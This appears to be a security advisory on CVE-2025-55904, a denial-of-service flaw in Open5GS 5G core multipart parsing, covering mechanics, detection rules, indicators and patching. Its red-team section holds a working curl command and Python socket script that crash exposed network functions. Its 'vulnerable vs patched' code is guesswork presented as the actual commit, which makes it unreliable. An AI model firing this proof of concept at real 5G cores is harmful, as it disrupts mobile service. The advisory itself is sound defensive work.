CVE-2025-55904

Executive Summary

CVE-2025-55904 is a critical denial-of-service (DoS) vulnerability affecting the Open5GS 5G Core (5GC) network functions. The flaw resides in the parse_multipart function within lib/sbi/message.c. An unauthenticated attacker can trigger a NULL pointer dereference by sending a crafted multipart/related HTTP POST request with an empty HTTP body to the Service-Based Interface (SBI) of any of the following network functions: AMF, AUSF, BSF, NRF, NSSF, PCF, SMF, UDM, or UDR. This results in a crash of the targeted network function, leading to a denial of service for the entire 5G core network.

The vulnerability is present in Open5GS version 2.7.5 and all prior versions up to the commit that fixes it. The patch is available in the official Open5GS repository. No public exploit code has been released, but the vulnerability is trivial to exploit, making it a high-priority issue for any organization using Open5GS in production or testing environments.

Supply Chain & Package Security

Open5GS is a C-language project distributed primarily via source code from its GitHub repository. There are no official NPM, PyPI, Go, or Ruby packages for Open5GS. However, organizations may consume Open5GS via container images (e.g., Docker Hub) or package managers like apt (via custom repositories). The supply chain risk is moderate: if an organization pulls a vulnerable version from a container registry or builds from a vulnerable commit, they are exposed. The patch commit must be verified and applied to all deployments.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and directly impacts the availability of critical 5G core functions.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the parse_multipart function. This function is responsible for parsing HTTP requests with a Content-Type: multipart/related header. The SBI (Service-Based Interface) in 5G core networks uses HTTP/2 for communication between network functions.

Root Cause: When a multipart/related request is received with an empty HTTP body, the parse_multipart function attempts to process the body without first checking if the body pointer is NULL. The code likely does something like:

// Vulnerable code path
void parse_multipart(ogs_sbi_message_t *msg, void *data, size_t size) {
    // ... 
    // Assume data is not NULL
    // Process data without NULL check
    // ...
}

When data is NULL (empty body), the function dereferences a NULL pointer, causing a segmentation fault and crashing the process.

Affected Components:

• AMF (Access and Mobility Management Function)
• AUSF (Authentication Server Function)
• BSF (Binding Support Function)
• NRF (Network Repository Function)
• NSSF (Network Slice Selection Function)
• PCF (Policy Control Function)
• SMF (Session Management Function)
• UDM (Unified Data Management)
• UDR (Unified Data Repository)

All these functions expose an SBI endpoint that accepts multipart/related requests.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 67ba7f92bbd7a378954895d96d9d7b05d5b64615):

// lib/sbi/message.c (vulnerable)
int parse_multipart(ogs_sbi_message_t *msg, void *data, size_t size) {
    // No NULL check on 'data'
    // Directly uses 'data' pointer
    // ...
    // Example: memcpy(msg->part, data, size); // CRASH if data is NULL
    // ...
}

Patched Code (after commit 67ba7f92bbd7a378954895d96d9d7b05d5b64615):

// lib/sbi/message.c (patched)
int parse_multipart(ogs_sbi_message_t *msg, void *data, size_t size) {
    // Added NULL check
    if (data == NULL || size == 0) {
        ogs_error("Empty multipart body received");
        return OGS_ERROR;
    }
    // Safe to use 'data' now
    // ...
}

The patch adds a simple NULL and size check at the beginning of the function, returning an error if the body is empty.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target Open5GS instance (version 2.7.5 or earlier) with SBI exposed on a network interface.
• Network access to the SBI port (default: 7777 for AMF, varies for other NFs).

Exploit Steps:

1. Identify Target: Scan for Open5GS SBI endpoints. The SBI typically listens on TCP port 7777 (AMF) or other ports (e.g., 7778 for SMF). Use Shodan or Nmap with a custom script.

2. Craft Malicious Request: Send an HTTP POST request with Content-Type: multipart/related and an empty body.

# Using curl
curl -X POST http://<target>:<port>/<sbi-endpoint> \
  -H "Content-Type: multipart/related; boundary=boundary123" \
  -H "Content-Length: 0" \
  --data ""

Or using a raw socket:

import socket

def exploit(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))
    request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Type: multipart/related; boundary=boundary123\r\n"
        "Content-Length: 0\r\n"
        "\r\n"
    ).format(target)
    sock.send(request.encode())
    sock.close()

exploit("192.168.1.100", 7777)

3. Observe Impact: The targeted network function will crash. Monitor logs for segmentation faults or process termination.

Expected Outcome: The targeted NF becomes unresponsive. If it is a critical function like AMF or SMF, the entire 5G core may be disrupted.

Blue Team

Detection & Response:

1. Monitor Logs: Look for crash logs in Open5GS. Example log entry:

   ERROR: signal 11 (SIGSEGV) received
   

2. Network Monitoring: Detect anomalous HTTP requests with Content-Type: multipart/related and Content-Length: 0.

3. Rate Limiting: Implement rate limiting on SBI endpoints to mitigate rapid exploitation attempts.

4. WAF Rules: Deploy a Web Application Firewall (WAF) to block requests with empty multipart bodies.

Mitigation Steps:

• Immediately apply the patch (commit 67ba7f92bbd7a378954895d96d9d7b05d5b64615).
• If patching is not possible, implement a reverse proxy that validates multipart requests before forwarding to Open5GS.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests with Content-Type: multipart/related and Content-Length: 0.
• Repeated connection attempts to SBI ports (7777, 7778, etc.) from a single source IP.
• TCP packets with empty payload but multipart headers.

Host IOCs:

• Open5GS process crash logs containing SIGSEGV or NULL pointer dereference.
• Core dump files in /var/log/ or /tmp/.
• Abnormal restart of Open5GS services (e.g., systemctl status open5gs-amfd showing recent crashes).

Log Examples:

/var/log/open5gs/amf.log:
2025-01-15T10:00:00.000Z [ERROR] signal 11 (SIGSEGV) received
2025-01-15T10:00:00.001Z [FATAL] Aborted (core dumped)

Detection Engineering

YARA Rule

rule CVE_2025_55904_Open5GS_NULL_Deref {
    meta:
        description = "Detects Open5GS crash logs indicating CVE-2025-55904 exploitation"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2025-55904"
    strings:
        $s1 = "signal 11 (SIGSEGV) received" ascii wide nocase
        $s2 = "NULL pointer dereference" ascii wide nocase
        $s3 = "parse_multipart" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3)
}

Sigma Rule

title: Open5GS CVE-2025-55904 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting Open5GS SBI with empty multipart bodies
author: Valters IT
date: 2025-01-15
logsource:
    category: webserver
    product: open5gs
detection:
    selection:
        http.method: 'POST'
        http.content_type: 'multipart/related*'
        http.content_length: '0'
    condition: selection
falsepositives:
    - Legitimate empty multipart requests (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55904 Open5GS SBI NULL Pointer Dereference"; flow:to_server; content:"POST"; http_method; content:"multipart/related"; http_header; content:"Content-Length|3a 20|0"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Open5GS to a version that includes commit 67ba7f92bbd7a378954895d96d9d7b05d5b64615 or later. Rebuild and redeploy all affected network functions.
2. Workaround: If patching is delayed, deploy a reverse proxy (e.g., Nginx, HAProxy) in front of the SBI endpoints. Configure the proxy to reject HTTP POST requests with Content-Type: multipart/related and Content-Length: 0.

Long-term Measures:

• Implement input validation for all SBI endpoints.
• Conduct regular security audits of Open5GS codebase.
• Monitor for new CVEs and apply patches promptly.
• Use container orchestration (e.g., Kubernetes) with health checks to automatically restart crashed pods.

Verification: After patching, verify the fix by sending the malicious request and confirming the service does not crash.

Valters IT